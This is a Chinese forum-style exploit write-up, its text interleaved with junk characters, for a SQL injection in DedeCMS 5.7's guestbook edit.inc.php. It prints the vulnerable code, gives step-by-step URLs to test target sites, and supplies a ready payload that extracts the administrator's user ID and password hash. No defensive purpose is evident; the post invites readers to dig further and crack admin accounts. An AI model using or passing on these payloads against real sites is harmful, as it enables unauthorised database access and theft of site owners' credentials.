影响版本为5.7
# m0 ~: R y) r' ?
3 [8 x7 N" z5 [' k漏洞文件edit.inc.php具体代码:, u* h. [. q9 E9 i% Y" O
8 V& l3 T6 `' p! z
< ?php 3 Q6 p3 L$ i* y& R+ w- ?
1 B1 A* i4 T2 y
if(!defined('DEDEINC')) exit('Request Error!');
% Z! m5 p! K1 s! A
, n8 w. T8 W" b' f3 W" z e& h' B* K6 N" S6 q f! X) W
: T8 D: C9 O$ j" h
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
8 m0 P1 O2 y H$ t0 U! I4 U+ {- k8 O' v/ b0 R
else $GUEST_BOOK_POS = "guestbook.php";
: I+ J! ?+ r+ E. y% \+ S6 c% {0 |& l
, S! D; F* F! J& ~) x. C 0 z! T9 I8 W4 Y5 N$ p
: t; ^- h8 f0 J% {3 r
$id = intval($id); ; k) r( S8 ]$ X8 J* V' t+ t3 R' e
$ t) h2 N# ]5 _' nif(empty($job)) $job='view';
0 W& D& ~4 {1 g' H1 U+ ^: x3 _$ R7 q& b) M, W4 a8 E$ j
, R, K0 Y" j9 c1 d' K
9 E3 G8 d- i8 l
if($job=='del' && $g_isadmin) * b5 b, S( }3 e" l2 `2 @' l& ~( Y# l3 z
9 {- n! F8 ~# b' Z
{ ( P5 H a& {# K8 o4 m, Y' T+ d5 c: d
' b1 h l" J: F# E$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
+ n: _: U8 e) n7 ?& O; ^/ P0 F+ S& y. P4 W O8 [
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
: x, D, R7 F9 N$ i) S9 @9 f3 C+ M$ L$ c0 h' Z( u2 A7 M. w) w
exit();
) C l! x E+ @9 [: Q
7 w) e: O+ ]& m4 H3 d} & K6 e5 n3 o# `0 N2 {' X9 r
. x6 N: ^" |. d o, |8 jelse if($job=='check' && $g_isadmin)
$ D2 n& ?" m; T5 R+ c; C4 o5 Q8 K3 }& F% a+ O/ r# y
{
/ D5 L+ Y, I! P* S
& t* r. B2 ?! D; r$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); , N2 W0 ?6 A# v$ F5 K1 I
7 B; `5 b7 Y9 ?! g* iShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 3 Z: z/ b" y# e8 u( G
3 a4 t/ L$ |8 f" F7 n7 z
exit(); ; q: q; e$ Y1 u9 ?+ K
% y5 |0 I! k+ @% V) d% G}
6 h. j$ O$ r7 q; I
1 Y1 \, c- E$ X, \% j. Yelse if($job=='editok') : I2 t8 i0 s7 `5 x$ ~/ }* {
; \7 N! d# Y1 t
{
7 M4 N- X7 ^2 i* M& `
8 [8 G h! s8 U- D2 |$remsg = trim($remsg);
+ Q( d0 G. \2 H* r. m0 h0 o2 V, [- b5 x* E$ p
if($remsg!='')
$ I/ ]3 f% y5 x2 E' P* i9 D8 }9 S) f
{ 7 s, k9 A8 m5 w
/ V6 U, x9 A& H. \# t+ k0 P//管理员回复不过滤HTML By:Errorera blog:errs.cc # E0 g& H% N1 t1 [& `2 b- R
0 P. P! z. p, D6 {+ W, Q+ c6 K+ x7 r' uif($g_isadmin)
# l/ Y+ ~9 X3 A4 ^
; E) h3 N! N2 o{ ) I' f1 d f* a0 m
. |4 g/ \3 }7 N( R( I, L$ E# y0 u9 d: o$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
2 R. B7 s4 d5 y1 P" J, p7 i/ V3 u
8 i& A: x: i- N* K//$remsg <br /><font color=red>管理员回复:</font> } & G( R5 N: _+ @6 e) g1 F
# v% Y4 Q) I% D( }) b
else
' }8 N) w# L' \5 U+ y
! N( X( T+ {0 ]" J) o; h9 f{
8 h, |% q8 P8 X7 s: X7 D5 Z
- g" s0 n3 }3 `8 H- ]$ o$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 6 H+ j m7 D; N9 h8 W
+ O/ h/ c. ^4 i: c( p$ V c1 ]' F
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; 2 ~7 [3 x+ N% q
! I$ G2 Q7 `% K. d* U
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 3 u0 d; n" B3 ]' h" _
- ?5 O4 |0 l% a" ?3 a: G$msg = $oldmsg.$remsg;
) G$ W8 \ Y- ]$ K/ C2 G5 y! s9 X! n' C+ Z
}
1 V: b/ M9 h4 J- r/ d% ~: ^! A
( q: f' ?; q0 [! x( Q6 S4 ^}
% o) U, g6 }2 J% l+ \1 n3 Z+ M. b0 d( O( ]
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
2 }: `) Z5 y3 U' E+ x* P
4 D7 J+ l( d( `$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
8 K: `) A+ `* J5 D
8 ?. f0 c( d/ L+ h3 H* }' OShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
* l4 U, L' L) _. g$ U# G3 U
8 E! k, S! f9 ~% F! L' _, [: k( Iexit();
! s; S$ N. q2 l! P7 X2 ?( d: J U: G) w; o; H$ f% C$ h9 \! h! S
} 3 ?+ I6 o5 q: V
' C# F2 ^* T& ]3 n) Q//home:www.errs.cc
2 I. e( n0 p* @. S( b
6 G/ {9 E* Q9 r$ T( H7 Gif($g_isadmin) 5 W1 ?4 f2 l( v! U# ^# N7 M
! f/ c) S% d+ m# J9 o4 `{
6 L: t/ ~& L4 |& l
: a( W" z/ h' P7 l6 y# Z( P$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); % j+ w- r* [) x% \) l
3 P- L, \- U( z# E9 [. e8 ^require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); * a- Q, F+ }8 ?8 t. i
0 d; ?. }2 O( ?7 c8 h' S- l. O
} 9 ~# b5 w8 Y& z. J9 t2 O
' d: o! O$ |6 H5 O0 Y z& t
else . }* q3 u" i7 J) E
6 y' |. }7 N+ ?7 j7 `* W
{
2 Q+ ]1 z% S. H; {
4 _' j {4 T# K) X$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); $ a, W9 J* g# g o$ L- ` }
4 c' r3 Y4 [4 l( [& }+ X/ \
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
- I( Z6 ]5 c0 `/ }! N1 j" D' t, h7 z* w! b1 m) S
} 漏洞成功需要条件:3 U( e; ~4 ~5 t% E$ ~! N- D3 K
1. php magic_quotes_gpc=off8 m" f, n! t8 \: V
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 k" R' f; ~. d% C" a! V- d$ O _+ b3 @
怎么判断是否存在漏洞:
, S0 \4 Y$ b( e0 ^: W: u先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
" E5 d: D7 X$ E! u' A然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
O2 ^ O v2 D; L" N* J9 L; g访问:, x1 D0 i8 f# ~4 _# p; p# v1 c
4 U. n2 B4 T V8 m% u' w' g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* j4 q6 f7 P4 C& Y* j$ C- r4 l7 d
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
! m2 J$ n y0 G# x, r# }* j
, T4 E$ z; c5 \9 e/ P; n7 n
, v& O) c# M; S$ b* G明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
/ t$ |' s$ q+ S1 R6 S: X( f如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 E4 d: ?% e% E6 I( z3 y' ?/ o那么再次访问( p' h8 u R, u( F N! X$ I' ]
$ a" t- c! ]) }+ w) n+ Jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().) K6 s3 R5 d/ [" N2 ~& r9 y8 ?
! e S! s/ |2 T9 ~9 ^
大概利用就是这样,大家有兴趣的多研究下!!6 {( p% ~( ?8 j4 |5 w4 j1 Q/ t
B: ?1 M, ]! {
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
- u) k8 _7 t# z- F* s3 i; A; V& X8 W" S( e4 Q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |